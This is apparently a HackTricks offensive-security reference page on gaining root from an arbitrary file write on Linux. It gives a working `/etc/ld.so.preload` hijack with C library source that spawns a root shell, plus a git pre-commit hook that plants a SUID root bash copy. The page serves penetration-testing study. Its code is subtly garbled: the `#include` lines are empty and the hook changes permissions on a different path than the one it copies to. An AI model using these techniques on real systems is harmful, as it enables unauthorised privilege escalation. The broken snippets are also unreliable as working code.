# Arbitrary File Write to Root {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ### /etc/ld.so.preload This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { unlink("/etc/ld.so.preload"); setgid(0); setuid(0); system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` ### Git hooks [**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: {% code overflow="wrap" %} ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` {% endcode %} ### Cron & Time files TODO ### Service & Socket files TODO ### binfmt\_misc The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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